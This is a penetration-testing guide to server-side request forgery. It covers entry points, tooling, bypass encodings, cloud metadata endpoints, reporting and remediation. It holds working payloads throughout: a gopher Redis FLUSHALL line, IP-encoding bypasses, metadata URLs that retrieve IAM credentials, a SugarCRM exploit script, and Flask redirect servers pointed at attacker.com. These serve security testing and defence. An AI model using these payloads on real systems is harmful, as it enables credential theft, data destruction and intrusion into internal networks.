- Understanding SSRF
- Identifying SSRF Entry Points
- Testing Tools Setup
- Basic Testing Methodology
- Advanced Exploitation Techniques
- Real-World Exploit Examples
- Bypass Techniques
- Cloud Metadata Exploitation
- Blind SSRF Detection
- Reporting and Remediation
Server-Side Request Forgery (SSRF) is a vulnerability that occurs when an attacker can induce a server-side application to make HTTP requests to arbitrary domains of the attacker's choosing . The impact has grown significantly with cloud infrastructure adoption, where metadata services expose sensitive credentials.
The Core Concept: An attacker cannot directly access internal resources (like http://localhost/admin or http://169.254.169.254/latest/meta-data/) from their browser. However, if a vulnerable web application makes server-side requests based on user input, the attacker can trick the server into making those internal requests on their behalf .
Why This Works: Internal access controls are bypassed because the request appears to originate from a trusted source (the application server itself) .
| Vector Type | Examples |
|---|---|
| URL Parameters | ?url=, ?uri=, ?dest=, ?redirect=, ?returnTo= |
| API Endpoints | /fetch, /proxy, /webhook, /callback, /upload |
| File Processing | PDF generation, image resizing, document conversion |
| Integrations | Webhooks, RSS feeds, external API calls |
| Headers | Referer, Origin, Host, X-Forwarded-For |
Hidden SSRF Surface Areas
- Review Forms (product reviews, comments with external images)
- Contact Us pages (avatar URLs, profile pictures)
- Password reset functionality (email verification links)
- Profile information (social media links, website fields)
- Video/image upload processing (especially FFmpeg HLS)
- XML parsers with external entities
# Basic Toolkit
# Burp Suite Professional/Community
# https://portswigger.net/burp
# SSRF Testing Tools
gau domain.com | python3 ssrf.py collaborator.listener.com
# Gopher Protocol Exploitation
# https://github.com/tarunkant/Gopherus
gopherus --exploit redis
# Automated SSRF Discovery
# https://github.com/micha3lb3n/SSRFire
./ssrfire.sh -d domain.com -s yourserver.com -f raw_urls.txt
# SSRF Proxy for Pivoting
# https://github.com/bcoles/ssrf_proxy-
Set Up Collaborator
- Navigate to Burp → Burp Collaborator client
- Copy your unique collaborator domain (e.g.,
[random].burpcollaborator.net) - Use this in your SSRF payloads
-
Configure Intruder for IP Enumeration
- Send a request with a URL parameter to Intruder
- Add payload position:
http://192.168.0.§1§:8080/admin - Set payload type to Numbers (1-255)
-
Cloudflare OOB Extension (Optional)
- For WAF bypasses, use Cloudflare Worker OOB injector
- Deploy worker at
your-worker.workers.dev/oob - Extension automatically injects OOB payloads into requests
Identify parameters that accept URLs or hostnames:
GET /api/fetch?url=https://example.com/image.jpg HTTP/1.1
Host: target.com
POST /webhook HTTP/1.1
Host: target.com
Content-Type: application/json
{"callback_url": "https://example.com/notify"}Test if the server makes external requests:
# Replace the URL with your collaborator domain
https://target.com/proxy?url=http://YOUR-COLLABORATOR.burpcollaborator.net/testIn Burp Suite Repeater :
- Right-click the request → Send to Repeater
- Modify the URL parameter to point to your Collaborator
- Click Send
- Go to Collaborator tab → Poll now
- If interactions appear, SSRF is confirmed
Use Burp Intruder to scan internal IP ranges :
Target: http://target.com/stock?api=http://192.168.0.§0§:8080/
Intruder Configuration:
- Attack type: Sniper
- Payload type: Numbers
- Range: 1 to 255, step 1
- Look for responses with different status codes or content length
Test common internal ports:
| Port | Service | Test Payload |
|---|---|---|
| 22 | SSH | http://127.0.0.1:22/ |
| 80 | HTTP | http://127.0.0.1/ |
| 443 | HTTPS | https://127.0.0.1/ |
| 3306 | MySQL | gopher://127.0.0.1:3306/_ |
| 6379 | Redis | gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a |
| 9200 | Elasticsearch | http://127.0.0.1:9200/_search |
| 11211 | Memcached | http://127.0.0.1:11211/%0astats%0aquit |
Gopher allows raw TCP payload delivery, making it powerful for internal service interaction.
Redis Exploitation Example:
# Using Gopherus
gopherus --exploit redis
# Enter: flushall
# Generated payload: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a
# URL-encoded for HTTP parameter
http://target.com/ssrf?url=gopher://127.0.0.1:6379/_*1%250d%250a%248%250d%250aFLUSHALL%250d%250aHTTP Request via Gopher:
# GET request
gopher://target.com:80/_GET%20/index.html%20HTTP/1.1%0d%0aHost:target.com%0d%0a
# POST request with body
gopher://target.com:80/_POST%20/login.php%20HTTP/1.1%0d%0aHost:target.com%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:12%0d%0a%0d%0ausername=admin%0d%0aSome applications follow HTTP redirects. This can be exploited by hosting a malicious redirect service:
# Flask redirect server
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/redirect")
def redirect_to_target():
target = request.args.get('target', 'http://169.254.169.254/latest/meta-data/')
return redirect(target)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)Attack Payload:
http://target.com/fetch?url=http://attacker.com:5000/redirect?target=http://169.254.169.254/
PDF generators often have network access. Inject iframes or external images:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image width="100%" height="100%" xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/" />
</svg>Vulnerability: Authenticated SSRF allowing bypass of internal-host validation using alternative IPv4 representations .
Root Cause: The HostCheck::isNotInternalHost() function relied on PHP's filter_var(..., FILTER_VALIDATE_IP), which does not recognize alternative IP formats like octal notation. The validation fell through to DNS lookup (returning no records), incorrectly treating the host as safe. However, cURL subsequently normalized the address and connected to the loopback destination .
Exploitation Steps:
# Step 1: Authenticate to EspoCRM (requires valid credentials)
# Step 2: Use octal notation to bypass internal host validation
# Instead of: http://127.0.0.1:8080/admin
# Use octal bypass: http://0177.0.0.1:8080/admin
# Step 3: Send request to vulnerable endpoint
POST /api/v1/Attachment/fromImageUrl HTTP/1.1
Host: target.espocrm.com
Authorization: Bearer [AUTH_TOKEN]
Content-Type: application/json
{
"url": "http://0177.0.0.1:8080/admin"
}
# Step 4: The server fetches the internal resource and stores it as an attachmentBypass Payloads for This Technique:
- Octal:
0177.0.0.1(instead of127.0.0.1) - Hexadecimal:
0x7F000001 - Decimal:
2130706433 - Mixed:
0177.0x0.0x0.1
Vulnerability: SSRF in SAML component allowing remote attackers to initiate requests to arbitrary systems .
Real-World Impact: Over 170 distinct IP addresses exploited this flaw. Attackers deployed a backdoor called "DSLog" inserted into DSLog.pm Perl file through SAML authentication requests containing encoded commands .
Exploitation Technique:
POST /dana-ws/saml20.ws HTTP/1.1
Host: target.ivanti.com
Content-Type: text/xml
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<samlp:AuthnRequest>
<saml:Issuer>https://attacker.com/metadata</saml:Issuer>
<!-- SSRF payload in Issuer URL -->
</samlp:AuthnRequest>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>Vulnerability: Unauthenticated SSRF via LESS code injection in /css/preview REST API endpoint .
Exploit Code:
#!/bin/bash
# SugarCRM <= 14.0.0 SSRF Exploit
urlencode() {
echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}
TARGET="https://target.sugarcrm.com"
SSRF_URL="http://169.254.169.254/latest/meta-data/"
INJECTION=$(urlencode "1; @import (inline) '$SSRF_URL'; @import (inline) 'data:text/plain,________';//")
curl -ks "${TARGET}rest/v10/css/preview?baseUrl=1¶m=${INJECTION}"How It Works: The @import (inline) LESS directive fetches external resources, allowing SSRF to arbitrary URLs .
Vulnerability: Authenticated SSRF via RSS feed parser with automatic HTTP redirect following .
Exploitation Steps:
- Attacker hosts malicious redirect server:
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/redir")
def redir():
target = request.args.get('u', 'http://127.0.0.1:8080/')
return redirect(target)- Register malicious feed:
POST /service/soap/CreateFolderRequest HTTP/2
Host: target.zimbra.com
Cookie: ZM_AUTH_TOKEN=[TOKEN]
{
"CreateFolderRequest": {
"folder": {
"name": "MaliciousFeed",
"url": "http://attacker.com:5000/redir?u=http://127.0.0.1:8080/admin"
}
}
}- The vulnerable Zimbra version follows redirects automatically, accessing internal services .
Vulnerability: Axios HTTP client incorrectly handles hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (trailing dot) or [::1] skip NO_PROXY matching and go through the configured proxy .
Bypass Payloads:
# Instead of: http://localhost:8080/admin
# Use trailing dot: http://localhost.:8080/admin
# Or IPv6 literal: http://[::1]:8080/admin
Real Pentest Scenario : During an annual penetration test, a tester discovered a web application vulnerable to SSRF. The application had a transaction creation feature where parameters could be manipulated to make the server create arbitrary HTTP requests .
Exploitation Chain:
# Step 1: Identify SSRF in transaction endpoint
POST /model/transaction HTTP/1.0
Content-Type: application/x-www-form-urlencoded
callbackUrl=http://127.0.0.1:8080/admin
# Step 2: Target AWS Metadata Service
callbackUrl=http://169.254.169.254/latest/meta-data/
# Step 3: Enumerate IAM role
callbackUrl=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 4: Retrieve credentials for the role
callbackUrl=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2025-12-15T00:00:00Z"
}Impact: The obtained credentials provided read/write permissions to all AWS S3 buckets containing sensitive information, elevating the finding from medium to critical severity .
| Original | Bypass Format | Example |
|---|---|---|
| Decimal | Integer | 127.0.0.1 → 2130706433 |
| Octal | Leading zeros | 127.0.0.1 → 0177.0.0.1 |
| Hex | 0x notation | 127.0.0.1 → 0x7F000001 |
| Mixed | Combined formats | 127.0.0.1 → 0177.0x0.0x0.1 |
| IPv6 | Loopback | 127.0.0.1 → [::1] |
| Trailing dot | DNS bypass | localhost → localhost. |
# Using @ symbol (credential-style)
http://safedomain.com@127.0.0.1/admin
# Using # fragment
http://127.0.0.1#@safedomain.com/admin
# Using ? query
http://127.0.0.1?.safedomain.com/admin
# Double slash technique
http:////////////127.0.0.1/admin
# Unicode homoglyphs
https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
# Newline injection (in some parsers)
http://127.0.0.1%0a.safedomain.com/adminPre-built services for SSRF bypass testing:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/
Use a domain that resolves to a public IP first, then switches to an internal IP:
- Attacker controls DNS for
evil.attacker.com - Initial resolution:
1.2.3.4(public IP, passes validation) - After validation, DNS changes to
127.0.0.1 - Application's HTTP client follows the new resolution
IMDSv1 (Vulnerable to SSRF):
# Base URL
http://169.254.169.254/latest/meta-data/
# IAM credentials (HIGH VALUE)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Instance identity
http://169.254.169.254/latest/dynamic/instance-identity/document
# User data (may contain secrets)
http://169.254.169.254/latest/user-data/
# Network configuration
http://169.254.169.254/latest/meta-data/network/interfaces/macs/IMDSv2 (Requires PUT request with token):
# Step 1: Get token
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token for requests
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: TOKEN# Base metadata endpoint
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Required header
Metadata-Flavor: Google
# Service account credentials
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Project information
http://metadata.google.internal/computeMetadata/v1/project/project-id# Instance metadata
http://169.254.169.254/metadata/instance?api-version=2017-08-01
# Managed identity credentials
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Required header
Metadata: true# ECS metadata
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/user-data/Blind SSRF occurs when the server makes the request but does not return the response to the attacker . Detection requires out-of-band (OOB) techniques.
Step-by-Step Process:
- Identify a request that might trigger a server-side request (webhook, callback, avatar URL)
- Go to Burp → Burp Collaborator → Copy Collaborator domain
- Replace the target URL with your Collaborator domain
- Send the request
- Go to Collaborator tab → Poll now
- If interactions appear (DNS/HTTP), the application is vulnerable to blind SSRF
Example Blind SSRF Test:
POST /api/webhook HTTP/1.1
Host: target.com
Content-Type: application/json
{
"webhook_url": "http://YOUR-COLLABORATOR.burpcollaborator.net/callback"
}RefererheaderUser-AgentheaderOriginheaderX-Forwarded-Forheader- XML external entities
- SOAP endpoints
- RSS feed URLs
- Import/export functionality
| Tool | Purpose |
|---|---|
| Burp Collaborator | Built-in OOB detection |
| Interactsh | Free OOB service (projectdiscovery) |
| Cloudflare OOB Worker | WAF-bypassing OOB listener |
| Canarytokens | Simple token-based detection |
Vulnerability Title: Server-Side Request Forgery (SSRF) in [Endpoint]
Description: The application at [endpoint] accepts user-supplied URLs and makes server-side requests without proper validation. This allows an attacker to induce the server to make requests to internal resources.
Steps to Reproduce:
- Navigate to [URL]
- Intercept request and modify parameter
[param]to:[payload] - Observe server making request to internal service
Proof of Concept:
[Full request/response]Impact:
- Access to internal network services
- Cloud metadata credential theft
- Internal port scanning
- Potential RCE through internal service exploitation
Remediation:
- Implement URL allowlisting for permitted domains
- Validate resolved IP addresses (not just hostnames)
- Block private IP ranges (RFC 1918, loopback, link-local)
- Disable unused protocols (gopher, dict, file)
- Use IMDSv2 on AWS with session tokens
- Implement egress filtering at network level
PHP - Safe URL Validation:
function isSafeUrl($url) {
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
// Check both IPv4 and IPv6
$records = dns_get_record($host, DNS_A | DNS_AAAA);
$blocked = [
'127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '::1', 'fd00::/8'
];
foreach ($records as $record) {
if (isset($record['ip']) && ip_in_range($record['ip'], $blocked)) {
return false;
}
if (isset($record['ipv6']) && ip_in_range($record['ipv6'], $blocked)) {
return false;
}
}
return true;
}Network Egress Filtering (iptables):
# Block web server from accessing internal networks
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.169.254 -j DROPPhase 1: Discovery
- Identify all parameters accepting URLs or hostnames
- Test Collaborator injection in each parameter
- Check headers (Referer, Origin, Host)
- Review API documentation for webhook/callback parameters
Phase 2: Basic Testing
- Test localhost variants (127.0.0.1, localhost, ::1)
- Test internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Test common internal ports (80, 443, 8080, 8443, 22, 3306, 6379)
- Test file:// protocol for local file disclosure
Phase 3: Advanced Testing
- Test bypass techniques (octal, hex, decimal, trailing dot)
- Test redirect-based SSRF with malicious redirect server
- Test gopher:// protocol for Redis/MySQL interaction
- Test blind SSRF with OOB techniques
Phase 4: Cloud Exploitation
- Test AWS metadata endpoint (169.254.169.254)
- Test GCP metadata (metadata.google.internal)
- Test Azure metadata (169.254.169.254/metadata)
- Test Alibaba metadata (100.100.100.200)
Phase 5: Post-Exploitation
- Extract IAM credentials if applicable
- Enumerate internal network services
- Attempt to pivot to internal hosts
- Document all accessible resources
- PortSwigger - Testing for SSRF with Burp Suite
- PortSwigger - Testing for Blind SSRF with Burp Suite
- CVE-2026-33534 - EspoCRM SSRF via Alternative IPv4 Notation
- CVE-2024-21893 - Ivanti Connect Secure SSRF
- CVE-2024-58258 - SugarCRM SSRF via LESS Injection
- CVE-2025-62718 - Axios NO_PROXY Bypass
- OnSecurity - Pentest Files: EC2 Credential Retrieval via SSRF
- Zimbra SSRF via RSS Feed Redirect